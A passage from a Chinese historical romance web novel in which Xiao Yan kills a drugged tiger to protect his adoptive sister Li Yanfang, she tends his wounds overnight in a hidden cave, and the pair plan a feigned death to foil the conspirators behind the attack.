那头斑斓猛虎来得气势汹汹,简直是同疯了一般。
她一回想起,血腥残忍的画面和叫人从心底里畏惧的怒吼就回闪于眼前,回荡于耳畔。
不过亲卫几人皆是身经百战的好手,人数占优势,配合默契十足,想必已让猛虎伏诛。
“不是我,是马受伤。”
萧偃撒谎不喘大气,仗着李宴方无法查看他身后,理直气壮地欺瞒。
那头疯虎腾空而起,他为护阿姊背后格挡不及,身后的锁子甲被划破,留下一道伤口,无数零碎铁片刺入血肉。
他浑不在意,当务之急是在日落前找到出口。
落日西沉,方向极易辨认,猎场呈东西带状,北部为起伏山脉,西部有河流,为自然隔绝带。
东部挖沟壕,筑土堤,种有成片的密柳,柳条互相编连,形成一道绿色屏障。
兵演广场在南面,往南走。
座下军马突然焦躁起来,响鼻喷得沉重频繁,马蹄也露出杂乱慌张的信号。
萧偃一手攥紧缰绳,控制马匹,另一手将怀中的人抱得更紧,环顾四周,凤目迸出利刃似的精光,切割目之所及的草木,寻觅蛛丝马迹。
约三十步外,他锁定异常。
深重得近乎于幽黑的浓绿内闪过一抹黑白金黄相间的斑斓影子。
只有一息的犹豫,他将缰绳交给李宴方,镇定自若地从身后掏出便于携带的组合式长枪,于奔驰的马匹上开始拼装。
入山带的亲卫不算多,但该备的武器应有尽有,萧偃从不打无准备之仗。
“有敌情?”李宴方显然也觉察到周遭的异常和萧偃的紧张。
“恩,我能解决。若我下马,你只需要一路向南。”
萧偃故作轻松,他知阿姊辨认方向不在话下,但在可能出现的分别之前,仍是无法自抑地交代关切。
他不会把这一次当作生离死别,绝不可能。
“不行!”李宴方甚至不需要一瞬间的思索,猜疑就被她破解。
就在这毫不迟疑的眨眼间,身后的丛林里爆发一阵猛兽极速冲击带来的响动,猛虎判断马匹奔驰路径,估算距离,发动进攻。
萧偃将长枪负于身后,立即取出柘木强弓,控弦射之。
一箭已中,但猛虎速度未减,距离二人已是十步之距。
猛虎低声嘶吼,如在耳边回荡,李宴方早在先前便猜到另一只袭击人群的猛虎被人做手脚,这一头一定也有问题。
幸而座下是军马,寻常马匹也许早就慌乱得把背上二人掀翻在地。
李宴方的额角渗出冷汗,一粒一粒,结在一处,在面颊上化成一道无措奔走的溪流。
她强稳心神,只要拉开距离,以萧偃的箭术,说不定能直接射毙猛虎。
马匹上散发着神秘的气味,与萧偃身上的血腥味完美融合,成为猛虎拼尽全力追逐的目标。
它全速奔跑,简直如同猛禽一般低空飞行,身上健硕的肌肉在奔跑中变成汹涌流畅的海潮,是充满力量的示威。
五步之距。
太近了,让萧偃能与眈眈虎目对视。
危险,但也带来便利。
萧偃再度搭弓,瞄准虎目。
震天哀嚎直冲云霄,猛虎速度稍迟。
但萧偃清楚,危机并未解除,这一头猛虎当和前一头一样,有疯癫之兆,袭击人群,遇伤不退,已然失去正常野兽的理智。
弓箭未必能彻底取它性命,但能削弱其实力。
若要绝后患,唯有一计。
鲜血从一只狰狞巨瞳中渗出,猛虎疾驰中的狂风将豆大的血珠吹散,染在毛发上,恐怖,血腥。
它痛极了,全身肌肉爆发力量,高高跃起,朝马背上的人全力猛扑!<
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兔起鹄落之间,萧偃弃弓持枪,拍鞍而起,身影化作最精准犀利的箭,朝正跃于空中的猛虎刺去。
长枪击出,刺入皮肉,而猛虎威势不减,身前两爪猛扑这个突然自投罗网到身下的猎物。
萧偃作势滚地躲避,反向发力,把武器又往猛虎身躯内一送。
兴许是凌空相击的一霎那没能刺中要害,又或许是药物使猛兽不知疼痛,猛虎依旧气势汹汹。
马背上的李宴方突觉身后一空,大骇震惊,回身一看,发现萧偃竟下马与猛兽搏斗。
她该继续走,还是回去?
二人之间的距离越来越远,她的心腔内遽然充满痛苦与绝望,试图调转马头,可受惊的马不听她使唤。
但在地面痛嚎的猛虎并未再去攻击持枪防备的萧偃,转而向李宴方奔来。
李宴方与萧偃四目相对,眸光相接。
“马有问题!”
“别下来!”
可她若是下马,当真是自掘坟墓,萧偃抽出腰后横刀,朝猛虎掷去。
寒芒乘风,冷光闪烁。
横刀扎入猛虎后腿,萧偃如离弦之箭般提枪奔走,要趁猛虎受伤彻底解决麻烦。
猛虎皮糙肉厚,纵然萧偃投掷之术准确精妙,可并没有断其筋骨,阻止它反身回扑。
李宴方历经千辛万苦将马头调转回来之时见到的就是相扑的景象,她嘴唇早已变成丧尽血色的白,身体开始打颤,她开始怨恨自己为什么不再强悍一点。
马鞍上装有箭,她有弓,既然猛虎已有一目中箭,那么就让它完全失明,这是她用最快的速度想到的协助之法。
利爪与钢铁交锋,锵锵作响,一人一虎的身形都变换得极快,在愈发浓暗的天色中更难以捉摸。
箭在弦上,不得不发,这一箭几乎实在与天命对赌。
战况焦灼,没有时间再给她犹豫了,挽弓射之。
中!
猛虎失明,彻底疯狂,它怒极痛极,药物在体内作用,激发战意,一个泰山压顶就将对手压在身下。
天生猎手就算失去双眼,也能凭借本能咬住猎物咽喉,台抬起粗壮强力的颈脖朝挣扎的猎物撕咬。
在沙场上厮杀的萧偃,也把攻击与防御炼为本能,他将长枪横放,相上猛举,钢铁之躯与猛虎血盆大口中的巨剑獠牙相撞,铮铮作响。
抵挡住致命一击,但胸口的空门因这个动作而彻底暴露,猛虎只要挥动前肢,就能将他开膛破肚!
如有天助,他在地上碰到那一把从猛虎后腿上被甩下得横刀。
弃枪握刀,趁着猛虎把肚皮暴露于眼前的天赐良机,横刀怒砍,在猛虎胸口划出天堑,鲜血喷涌。
老虎吃痛,萧偃顺势翻身而起,再朝猛虎后颈全力斫砍!
“呵啊——”
萧偃怒喝,万钧之力从他体内爆发,迅如天雷的锋芒直劈而下,猛虎身首异处,腥臭的血飞溅,恶浊的味扑鼻。
他大口地喘息,胸膛如山起伏,惊险过后,胸口的伤痛才渐渐被感知,他略略一低头,胸甲早就不知道掉到何处,而右胸上留下三道抓痕,依稀见骨。
他判断,未伤及脏腑,不碍事。
萧偃背对着李宴方,她第一眼就看到那一片触目惊心的伤。
天光暗淡,血光刺目,李宴方奔过去。
“你伤得不轻,我们要赶紧离开。”
她都察觉不到自己说话时,身体还在轻颤,也不知是猛虎骇人,还是忧心过重。
“死不了,”他将擦干净的横刀收入鞘中,拾起地上的枪,看了眼天色,“要赶快走。”
李宴方赶紧扶过他,待二人回头,那匹马已经栽倒在地,口吐白沫地抽搐,或是跑死了,或是毒发身亡。
夜色逼近,险象环生的山林里失了马匹,简直是致命之忧,若是还有野兽嗅着腥味而来,那该怎么办?
49. 命运
时至月末,下弦月光芒微淡,深沉的夜色中挂着星星点点,虽无力照遍四野,但驱散了几分无边黑暗带来的恐惧。
寻到沟壕,砍掉柳条边,李宴方与萧偃终于走出猎场。
虽然方向有误,但好歹脱离险境,能确保再无野兽突袭,这也是不幸中的万幸。
可就在李宴方松了口气之时,强撑一路的萧偃因力竭失血而晕眩过去。
李宴方抱着他坐在柳林边,方才替他简单包扎过,深知能走到这里已是不易。
她能推断出是那木拓要杀萧偃,借野兽爪牙取他性命,制造出萧偃为救义姊而葬身虎口的假象。
合情合理,合乎意外,才能逃过追究真相的天罗地网。
本是居心叵测之人恶意陷害,可李宴方仍是自责不已,那木拓设计的因果每一环里都有她,仿佛她也成了加害之人。
泪光朦胧,她举目远眺,试图寻找一线生机。
天幕缀着的星星点点好似在一瞬间天旋地转,星子落到山野间,远方黝黑起伏的山中,燃着一抹光亮。
李宴方心头突地猛跳,脑海中的山势地形图浮现,坐落于山中的上清观恰好在猎场东方!
只是还有一段距离,她带着昏迷的萧偃,一整晚未必能走到。
但她当时作的准备能派上用场。
那时临近年关没能回来收拾残局,现在恰好成了救命稻草。
李宴方心念一动,感叹天无绝人之路,将萧偃背起,一步一脚印地往自己的“狡兔三窟”走去。
路漫漫,仿佛行走不至尽头,逐渐筋疲力尽的李宴方甚至开始怀疑自己是不是误入歧途,思绪一乱,脑海里费尽心思藏好的旧事全部翻涌滚烫,如在昨日。
上一次她也是这样背着一个比自己还高的成年男子,走上一条不归路。
那时她庆幸自己身强体健,能把毁尸灭迹做得游刃有余;而今她也庆幸自己并非弱柳扶风,能背起身受重伤的萧偃,离开此地,寻觅一线生机。
关于死,关于生,二者巧妙地回应着,像命运的玩笑捉弄,也似命运藏着弦外之音的暗示。
她必须向前走,没有回头路可言。
有那么一瞬间,她想,她挺命苦。
走到体力不支,走到神思恍惚,走到心头的希望差点被无边无际的黑暗酿成绝望。
李宴方找到那个山洞。
她曾经因为担忧鄂国公府派出杀手,让她不明不白死于上清观,于是在上清山内寻觅到一处山洞,这是许多年前老道清修留下的破洞府。
那时她想,若是有人追杀,她就算逃出生天,也很有可能身上负伤,于是拜托何婆婆购置好止血药之类的物品。
李宴方要逃,一定会逃入山中。
在山中还需防备野兽骚扰,于是她又准备了火种与鞭炮。
去岁狡兔三窟的应对之策,竟然在此时此刻成为天降甘霖。
更幸运的是,这一路与洞中都没有兽类的痕迹。
李宴方点燃洞中火堆,已是手酸腿麻,她惊叹于人在艰难困境中能爆发出来的力量,竟然能支撑自己成功抵达。
但后背已湿透,除了汗水,还有血水,萧偃的伤口必须及时处理,没有给李宴方留下一刻休息时间。
此处工具一应俱全,被李宴方分散地包在几个防水防潮的油纸包裹内,藏于洞中各处。
她寻来后,打开包裹,她将萧偃安置在火堆旁,洞前安置好鞭炮,她面向洞口,以便抬头观察情况。
李宴方盘腿坐下,与坐着的萧偃齐平,她烧过剪子,剪掉他的上衣,起伏的肌理因失血而发白,体表渗出密集的汗珠,和横流的血液混在一处,狼狈而残酷。
她取来棉布擦净。
有两大伤口,一个在右胸,另一个在后背。
烈酒消毒,取针引线,清创敷药,纱布包扎。
一个人晕得不知道能不能见到明日的朝阳,任由摆布。
另一个人冷静得仿佛失去情绪,以粗糙的手法遏制伤口的继续撕裂和流血。
李宴方不觉得累,她时不时望向洞口,不希望外头传来动物悉悉索索的动静,但却盼望山外被朝阳光辉洒满。
右胸处理完毕,她拿出长针炙烤,将背后伤口内刺入的碎甲一一挑出。
最初李宴方还觉得伤口触目惊心,可紧迫感铺天盖地压来后,手上的每一个动作仿佛成为压力与紧张的宣泄出口。
缝合的事情一回生二回熟,其实她并不明白妙手回春的医者是如何缝合伤口的,事急从权,她只能按照绣花缝补的手法粗粗下手,能止血就是大幸。
萧偃醒来,当不会怪她。
没有更漏的山洞内,额角的汗珠一滴一滴落下,成为紧张焦灼气氛催生出的计时器具。
最后一滴汗水落下,李宴方长叹一声,浑身脱力,四肢疲敝,而最为紧张的心神也在这一刻得到放松,她瘫倒在地。
周遭寂静无声,听得见她的呼吸,还有萧偃的呼吸。
平稳、缓和,像寒冬过后初遇春风的冰河,缓缓地在暖风中化出冰冷刺骨的水滴,一点一滴平稳地坠下,聚成微不足道的水流,微小细流又平稳地汇聚在一起,变成溪,变成河,变成海,潮涌不息,生生不灭。
捱过严酷杀人的风霜,一定会等来万物复苏的春朝,对么?
李宴方目光扫过被她翻得乱七八糟的包裹,她突然想起来自己准备过补气补血的内服药物。
她将它找到,打开瓶塞,轻轻一嗅,冬日干燥,春潮未至,这一瓶药药效依旧。
死马当做活马医,如今没有更好的选择。
可是没有水。
“那怎么办呀萧凭陵?”四野寂静,无人回应。
她没有再盖起瓶塞,而是倒出两粒含在口中。
李宴方小心翼翼捏开他的下颌,低头,触及柔软干燥且毫无血色的唇,深深地与之相触,不留一点空隙,舌尖一送,将药粒渡入,而后尝试着将停留于口腔中的药物吹下咽喉。
不知他咽下没有,她抬起他的头,静静观察。
没有半点亲密举动带来的羞耻,只有药物能不能发挥效果的担忧。
李宴方给萧偃披上衣衫保暖后,突然无事可做。
也许是她忧心太过,焦虑不安,也许是熬过大夜后身体适应了疲惫,现在的她不再有半点困意,干脆取出萧偃的横刀,面朝洞口而坐。
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李宴方保持着蓄势待发的状态,下一刻就会暴起护身后之人周全。
她等待着,等待月落日升,等待援兵赶到,等待……萧偃挺过这一程。
她突然想到最近发生的许多事。
金澜池中,她落水那一刻李攸的眼神,李攸在意、关切,甚至果断地跃入水中,为了救她。
李攸在乎她的生死。
但那是在李攸明知安全的情况下,有渡水腰舟,有水师救援,所以李攸能毫不犹豫地表达他的在乎。
李宴方突然发现,自己竟然是对萧偃最不公平的那个人。
李攸有所保留的奋不顾身她能记在心上,可萧偃明明就是那个毫无保留,能舍出性命的人,甚至他是不有一瞬犹豫的。
今天有太多的“如果”可能会发生,如果那头猛虎更为凶悍,如果他进攻的时机有一丝迟疑,如果谋害之人还有后手……
萧偃选择她的那份坚定,是有再多个如果都无法阻挡、不可更改的存在。
为什么她不坚定?
等待是一件很漫长的事情,李宴方曾经也熬过这样一个死寂的漫漫长夜。
那时的李宴方如此刻一般害怕、不安,渴望新一日的光明,等待天亮后的生死裁决。
陆韫之的死终结了李宴方与他的婚姻,可没有终结她心底的惶惶茫然,她畏惧再一次走入相同的险境,她悔恨自己的判断失误,她憎恶自己失去长久与人相处相伴相守的勇气。
李宴方不愿意承认这一点,以“金身毁弃”这等滑稽拙劣的借口掩盖,以身份转变的无地自容而推拒。
这些问题是存在的,但并非是不可解决的千难万险,关键在于她迟迟没有鼓起勇气迈出解决的那一步。
她龟缩在自以为是的安全舒适的环境之内,犹豫不决,摇摆不定,直到人心难测,时局动荡给她沉重一击。
心头蓦然一痛。
李宴方倾听着身后那人的呼吸,她问自己:我如今后悔了,可还来得及么?
原来解掉“等一个人死”而怨结出的心障,是需要“盼一个人活”来破除。
冥冥之中,天机写好了巧妙的因果轮回。
长夜终有尽时。
李宴方再一次从漆黑深夜独坐至天边泛起灰蒙的那一刻。
心潮起起伏伏,两个同样制造惶怖的黑夜,却各司其职地将她的生涯划分为三个节点,左右她的抉择,操控她的情绪。
日将出,李宴方或迎来惊喜,或接受哀恸,无论结果如何,她必须朝前走,她需要做的事情还很多。
最好的结果是紫电等人成功求援,会有人来搜寻她们的踪迹;最坏的结果是亲卫们命丧虎口,但太后皇帝与百官命妇返程时不见她与萧偃,也会派出人马寻找……
李宴方必须好好活着,挫败那木拓与陆朴的阴谋诡计,将他们碎尸万段!
紧握横刀的双手指结发白,青筋明晰,李宴方身躯震颤,浓稠炽热的仇恨在她的鲜血中集结,奔啸如千军万马,踩踏着她的骨骼,碾压过她的皮肉,要把她捶打淬炼成坚不可摧、无畏风暴的模样。
“阿姊别怕。”
恍若梦中惊雷,劈裂迷夜。
50. 补偿
三月末,山间夜寒。
而身后突有温热靠近,李宴方痴愣着,有一瞬竟然在怀疑是否为梦境。
不是梦。
萧偃轻轻从背后拥住她,温暖变成真实可见的河流,源源不断涌来。
李宴方身躯的微颤也由触碰与相拥传递开去,在心底荡出涟漪。
熬过伤痛的萧偃似乎能从这一阵不由自主地颤动中,回溯亲历李宴方这一夜独自面对的无助、惶恐与忧切。
心中泛涌的酸涩变成锐痛,比身上深可见骨的伤痕更令他痛不欲生。
他哑着嗓音问:“在想什么?”
“在想你要是死了该怎么给你报仇,亲卫可用,两千飞捷同样可用,精兵在手,大有胜算。”
李宴方脑海中甚至已有计划雏形,她首先需要按下萧偃的“死讯”从而确保飞捷虎符在自己手中……
“我要是死了,你难过吗?”
萧偃有些虚弱,将下巴缓缓搭在李宴方的肩膀上,这不是他第一次问这个问题,可当他看到李宴方几乎不给自己悲伤调整的时间就立即奔赴下一个战场,他突然很难受。
难过?
李宴方的否认来得格外坚决:“人都死了悲伤还有什么用。”
她没想过悲伤,她不敢去面对悲伤,她希望他好好活着,和她一起活下去。
就在萧偃以为说错话意外触怒李宴方时,她软了语调,略带稍许迟疑犹豫:“贪嗔痴恨……爱,是留给活人的。”
十一个字,其中有一个字被咬得缠绵缱绻,欲说还休。
她放下握了一整夜的刀,转过身,拥住他。
萧偃浑身僵硬,是他理解的那样么?
洞外明明是一派夜色未尽的昏沉,可萧偃好似望见光芒万丈下的壮丽河山,而他这一株普通平凡的石下草、泥中身终归等到太阳的怜悯,等到馈赠给他的一抹光辉。
萧偃总算是能光明正大地拥住她了对么?
长久以来,似明月般高悬头顶的遥远希冀,在萧偃的自卑、怀疑、患得患失与小心翼翼中翩然落下,落如一片轻盈的鸿毛,降落于平静的湖面,点起几痕清清浅浅的涟漪,却能无尽无穷地向外延展,带来浩荡的波澜。
萧偃笑起来的时候,浑身震动,把勉强缝合的伤口撕扯得七上八下。
“原来伤一回就能换来阿姊垂怜,我怎么不早些知晓?”
萧偃想,他的命可比陆韫之硬太多,这点伤还不至于见阎王。
“你疯了?”李宴方现下舍不得打他,只能数落,“有人精心设计,要你死于非命,动摇军心,你还有功夫拿自己的身体开玩笑?”
若不是对方千方百计伪造意外,避免太后追究,她简直要怀疑陆朴与那木拓想趁机暗杀太后或者挑动兵变,弄得天下大乱。
抑制不住的笑语从李宴方颈侧传来:“我知晓有人兴风作浪,但你总得让我高兴一会儿。”
萧偃做了好几年的梦终于成真,不让人得意憨笑,未免太不讲道理了。
“你的伤我只是随意处理过,天亮后我们得离开,想办法让人来接应……”萧偃再长途跋涉一回,指不定会加重伤情。
李宴方轻而缓地推开他,起身观察洞外情况。
夜色褪去,天地间的朝气愈发蓬勃,群山轮廓渐渐清晰。
她如今轻松许多,闲聊道:“希望早些有自己人找到我们的踪迹。我当初以散心之名在上清山中寻觅藏身之所,后来我悄悄把药包藏在洞里,靠着去岁留下的药物才捱过昨夜凶险。”
萧偃打量那些物什,读懂李宴方当年的考虑,陆朴极有可能杀她灭口,这些应对重伤之物本是她准备的后路,却没想到竟然会用在自己身上,也算是机缘巧合,天无绝人之路。
他眉峰遽沉,问道:“可是,我一开始就换掉陆朴留在上清观的人,所以是阿姊那时候并不信任我,留下出逃的后路,对吗?”
果然让萧偃发现漏洞,李宴方心知这种事只会越描越黑,干脆直言:“是,那时我不信任你,担心你做出一些我接受不了的举动。”
强悍的身躯,拔高的地位,紧握的权势,阔别三载,她无法确定他变成什么模样,她怕的是死掉一个陆韫之之后又重新跌入相同的深渊,所以那一日她明确告诉他,她不会再高嫁。
她软了语气安慰他:“现在知道你不会,但重回旧时,我还是会这么做。”
萧偃不怪她,那时候的他确实很危险,甚至能感知到已游走在疯狂边缘。
可萧偃还是为那一瞬间的不信任而悲愤,尤其是在确认她心意的这一刻,对比起来简直是冰火两重天。
“阿姊亲我一下,就当作补偿。”这个要求不算过分吧?
李宴方皱眉,别开眼,羞倒是不羞,她才在他昏迷时轻薄过他。
但一团被点燃的怒火突然烧了起来,趁病讨债的伎俩到底是谁教他的?
“回家再说。”她才不会让他轻易得逞。
见萧偃无恙,李宴方真正放下心来,这时候饥寒接踵而至,她这才想起几乎是一整日水米未进,腹中绞痛,想必萧偃的情况也不会比她好多少。
“你能走么?”她问得关切。
萧偃面色惨白,狼狈不已,他挣扎起身,李宴方立刻搀扶他到洞前,他抬起手,手指曲起,吹响一阵短促而有节律的哨音。
“养兵千日,用兵一时,倘若我驯养的鹰隼就在附近,它会带着人找到我们。”
吐气吹哨也是很痛的,萧偃做完这一切,有些可怜地望着李宴方,李宴方忧心不已,扶他在洞口坐下,她起身,在微微亮的天幕中寻找猛禽的踪迹。
萧偃有些心虚地享受着阿姊的在乎。
逐渐泛白的天宇掠过一道苍色身影,伴随一声鹰唳,垂直俯冲而下,惊破初晨的寂静安宁。
鹰隼在传递消息。
萧偃未携带保护手臂的臂鞲,加之此刻虚弱,没有抬手接下鹰隼。
这只猛禽懂事地落在洞口,灵活的头颅旋转着打量主人,在确认人安全后,老实地就地站岗。
“它倒是通人性。”
她目不转睛地盯着,听过熬鹰艰辛,萧偃能把鹰隼训练成这般模样,定是下了一番苦功。
“它没有一顿饭是白吃的,人不久后就会到。”
他笃定,鹰隼养在飞捷大营内,能放出鹰隼寻人寻到此处的一定是亲信部下。
果不其然,山里传来动静。
远处,一小队戎装人马带着猎犬跟着鹰隼俯冲的方向一路寻来,萧偃望过去,饥寒交迫和伤痛病弱让他不得不眯起眼仔细打量来人。
是飞捷副将董赡。
萧偃病恹恹地对鹰隼道:“叫两声。”
鹰唳破云,董赡抬头,发现山洞口泛着微弱的火光,赶忙带着人奔去。
“萧帅!”五大三粗的汉子见萧偃伤痕累累,病气森森,在惊喜之余,心头涌上侥幸。
太后发布命令,得到紫电暗中传递的消息后,飞捷三百人漏夜在猎场中搜寻痕
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迹,果不其然找到大虫遗躯,周边未见萧侯与乡君,他们既放心又担心。
大军加强搜索后发现柳条边背破坏的痕迹,推测两人从此处离开,于是他便将全部人马的搜寻重心转到东边一带。
后来,飞捷大营内得到消息的军师慕容修放出鹰隼,鹰隼果然立下大功。
在虚惊一场之后,董赡才来得及细细查看眼前情形,萧帅重伤,身上的衣服被脱下,如今只披着乡君的外衫,他不敢多看。
李宴方心知此举不太妥,但情况紧急,还有什么比命重要?她忙吩咐:“他的伤我只简单处理过,为防止恶化,我们要尽快回府。”
她话音刚落,勉力支撑到援兵赶来的萧偃再度陷入昏迷!
董赡等人惊呼连连,赶忙过来接应。
随后,董赡留下两人处理洞中残迹,一行人立刻下山。
*
舞阳侯府内充斥着紧张焦灼的气息,慕容修已在此等候多时,待李宴方一行人回来,他赶忙前去诊治萧偃的伤势。
而李宴方略定心神,对董赡道:“董将军也当知晓,这一次的意外来得气势汹汹,如今他平安归府,还请董将军尽快回营安抚军心。”
董赡虽担忧萧偃安危,但到底是跟随萧偃出生入死的将士,如何不知稳定人心的重要性?他抱拳点头,带人离去。
出府后,他心底闪过一丝感慨,怪不得萧帅如此敬重其姊,高陵乡君临危不乱,思虑周密,果然非池中之物。
李宴方无从理会旁人看法,立刻前往西院,连一口热水都来不及喝上。
榻上双目紧闭的人病情不容乐观。
慕容修正剪开伤口上的缝线,重新清理消毒伤口后再缝合,他见李宴方来,忙道:“萧侯重伤损耗,伤口感染,加上山中寒凉,邪风入体,几重病因之下……颇为凶险,但并非药石无医。”
他见李宴方面色惨白,安慰道:“乡君切莫自责,昨日危机之下,乡君已是尽最大的努力,保住他的性命。”
“慕容先生?”李宴方长吸一口气,迈着虚浮的步伐走近,“我有一事要与先生商量。”
“乡君请讲。”
“我想设一假死之局。”
慕容修身形一顿,双目微瞪,假死之局,将计就计!
“此举大胆,但也有风险。”他思索道。
慕容修知萧偃重伤难愈,最能迷惑设计之人,萧偃一旦假死脱身,反而能出其不意地攻破对方防守。
李宴方即刻道:“你想说兵符何以处理?若是统帅真因此殒命,太后必然收回兵符,两千飞捷也将由旁人统领。我欲进宫求太后赐医,让太后知萧偃重伤,人未死,便不会收回兵权。”
“之后再放出迷雾,诸如‘重伤难愈’‘残疾无救’‘暗藏死讯’,让设计之人摸不着头脑,费劲心思查证实情,我们才能占据先机。”
慕容修点头,心想此计甚好。
李宴方又道:“还有一事有劳先生,几日后,请先生在飞捷军中寻觅与萧偃身形相似之人,这寻人一事既要隐秘不为人知,又要悄悄让人查得蛛丝马迹。”
此举一出,几乎是坐实“萧偃已废”的消息。
“只是不知萧侯如何作想?”慕容修虽知萧偃对李宴方情根深种,但这项大计,必须要他本人配合。
李宴方推测萧偃九成能配合,但这些现在说来也无用,她道:“不管此计行否,我现在都需要入宫谢恩求医。”
救他性命,保住虎符才是当务之急。
51. 计策
李宴方进宫之前,未用粥饭,她成功在宫内演了一出苦肉计。
太后果然答应这位死里逃生、狼狈落魄的乡君的请求,派出最得她信任的御医,前往侯府替萧偃医治。
时至如今,一切都按照李宴方的计划发展。
太后亲信御医会将萧偃情况告知于她,无性命之忧,只不过重伤需要休养。因此,太后不会在此时变更飞捷军统帅,否则无异于昭告天下,萧偃在“意外”中重伤不愈,甚至身死。
她把太后也变成自己计划中的一环。
得到御医的“保证”,配合李宴方的暗中寻觅替身一事,足以让外界人半信半疑,难以判断。
就在御医出府后,几乎一整日没闭眼,没进水米的李宴方终于扛不住,病倒于地。
*
在昏沉阴雨的病海沉浮中,李宴方梦到了母亲黎茂宁。
那是一个风和日丽的春日,鲜少出门游玩的母亲也同父亲还有姐弟二人一同出游。
梨花盛放如雪,云蒸霞蔚,母亲在花下回过身,散发着比春风更柔软的温情,她朝李宴方轻声细语,如歌如诉。
“恕人亦是恕己。”
而后东风骀荡,千万梨花细蕊随风舞动,化成阳春三月里盛大的白雪,将母亲的残影送至九重天外,再无可寻。
梦中人朝那一片烂漫的琼雪奔去,李宴方总觉得母亲这句话暗藏不可告人的玄机,她要找到母亲,问个一清二楚。
可她遍寻不至,最终在柔软的春雪中迷失方向。
撕开风雪,昏迷多时的李宴方从梦魇中醒来,头昏脑胀,思绪迟钝,张开双眼,入目的是熟悉的环境,却让她感到目眩迷乱。
照清听到动静,立马赶到,她跟随李宴方前往检阅观礼,对这场“意外”也算是心中有数,照清连日来担惊受怕,而今箭李宴方无恙,她悬着的心可放下了。
“乡君,可还难受?”她捧着温水前来侍奉。
李宴方急切灌下,昏迷许久,迫切渴望饮水:“如今是几月初几?”
张口才觉嗓音粗哑,好似变了个人。
照清答道:“四月初一,乡君已昏睡两日。这两日内太后以玩忽职守的罪名处置了负责大猎的官员们,罚俸的罚俸,革职的革职,坐监的坐监,不一而足。”
“没出人命?”
“嗯。”照清点头。
李宴方迟钝的脑子开始思索,玩忽职守而非处心积虑,反倒坐实这是一场人为疏忽,不会再追究了。
她又问:“萧凭陵好些了吗?”
一提及他,浓郁难散的忧虑盘旋萦绕,他的情况比自己更糟糕,但李宴方心存侥幸,如果他有了什么三长两短,照清当不是这个态度……
她就在这等待回答的几息之间,胡思乱想,关心则乱。
“他今日已能下地,慕容先生说不可长久卧床,他一醒就被慕容先生撵下来。乡君也该起身了。”言罢,她上前扶李宴方。
李宴方倒是毫发无伤,只是心力交瘁疲惫至极,要缓一缓。
照清扶着她在内室走动,又想起一事:“昨日太后派人前来,赏赐好些名药补品,人参鹿茸,灵芝阿胶之类,应有尽有,那位和善的嬷嬷特意交代,让你与萧侯好生休养,无需再入宫谢恩。”
当真是宠臣的待遇。
她对照清道:“我吃些东西,然后好好梳洗一番。”
照清为李宴方端来燕窝粥,李宴方边用粥边思索,出身低微使得她习惯于把太后的赏赐归结于旁人。
她与陆韫之成婚时,太后赏赐厚礼,她以为太后是看在鄂国公府的面子上;她受封乡君,她以为是太后看萧偃家中再无亲眷,只有她这个义姊,皇恩浩荡,随手封了;而今名药补品送到,她以为太后惜才且大方。
但是,有没有可能,太后其实是看重她?
李宴方几乎是下意识否认,她一个岌岌无名之人怎么能得太后青眼?
前两日进宫面见太后,谢太后调拨飞捷军搜寻之恩,太后体谅她死里逃生,出言宽慰,颇显柔情。
后有前来赐药的嬷嬷特意交代,无需入宫谢恩,显然是对曾经特意入宫谢恩的李宴方说的。
难道自己长得像太后的早夭长女昭德思公主?
她的年纪倒真和昭德思公主差不多,但在与陆韫之成婚前,她从未见过太后,太后又怎么能在大婚之前进行赏赐呢?
罢了,别费心思去猜测这些毫无根据的事情。
进餐完毕,她洗浴一番,梦中的浑浑噩噩尽散,整个人都轻松舒畅,于是前往西院,查看萧偃的情况。
萧偃早就被慕容修拽起来走动,现在他已用饭梳洗完毕,正在换药。
她一入内就见到赤着上身的萧偃坐在床榻上,正由青霜替他涂抹药膏,慕容修正在向他转述假死大计。
青霜率先发现有人入内,他一抬头,慕容修回身,朝青霜使了眼色,二人很识趣地退下。
待离去的人影不见,李宴方故作镇定地调侃:“慕容修倒是个鬼机灵的。”
说来也怪,明明又不是第一次见萧偃没穿上衣的模样,但被人知道,就仿佛什么见不得人的事情被撞破,让她尴尬难为情。
李宴方尚在原地迟疑,萧偃开了口:“有人把给我上药的人赶走了,事情做到一半,有劳阿姊。”
客气得简直有些异常。
李宴方不再纠结,走到床榻边坐下,观察他的伤口。
医者缝合的伤口极为规整,她想起自己在深夜用一针一线绘的“蜈蚣”,叹道:“我那日胡乱处理……”
“我不在意,你不要自责。”
萧偃快速地打断她低沉的情绪,让李宴方措手不及,她也不辩驳,拿来纱布,替他缠绕。
纯白洁净的棉纱轻柔地覆盖上萧偃麦色的肌肤,李宴方不自觉地靠近,她徐徐将棉纱绕过萧偃右肩,再绕至背后,她专注的视线里只有这一段棉纱绷带,根本没留意被缠绕的人已偏过头,只要她微微一抬首,两人鼻尖就会触碰。
“嘭!”像两块火石,一触即燃。
萧偃登时就想起,阿姊欠他一笔债。
他迂回奔袭,想方设法地讨回这一座属于他的城池。
“阿姊的计划甚好,我也以为此举可行。”
说的是诈死之计,他是她无可替代的共犯,默契配合是注定的必然。
除开大局上的考虑,萧偃暗藏私心,在猎场意外发生之前,他曾设想过丢掉义弟的身份阿姊会如何?
既然姐姐的身份于她而言是压在肩上的担子,是不
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可推卸的责任,那么就让身为义弟的萧偃“死掉”,以一个新的身份,无关责任的身份,呆在她身边。
兴许,于她,于他,都是一件好事。
萧偃该彻底摒弃义弟身份,以成年男子成熟可靠的姿态留在她身边。
“过几日,我会让人在军中寻觅‘替身’,再以侍卫的身份入府。这件事既要做到让有心之人察觉,又不能真正动摇军心,不可操之过急……刚好身受重伤的人熬到不治身亡的那一日也需要时日。”
其实这人根本不需要寻找,萧偃就是那个“替身”,侍卫越像真的,越能迷惑人。
李宴方道:“嗯,这件事必须把握好度,我可不想让太后再派人来查证你到底是死是活。”
她替他缠好绷带,打上结,将药品绷带等物放到床头的案几上。
这件事做完,那件事说完,她仿佛没有理由再待在这里,转身离去。
身边萦绕的清香瞬间远去,他眼疾手快地扯住那一片淡紫色的云,拉住了她的袖。
他急匆匆地追根究底:“阿姊,你为什么不悲伤?你为什么不肯给自己悲伤的机会呢?”
在山洞中萧偃问过同样的问题,那时他只想知道他在阿姊心中重有几分,可现在他这个问题点亮了一个幽渊,连李宴方都未察觉的幽渊。
就在方才,李宴方看到他的伤痕,第一反应是当时的自己做得不够好,这让萧偃心如刀绞。
他的阿姊总是压抑自己的情绪,不肯对自己放纵,想到的是过去的疏忽,是将来的步步为营。
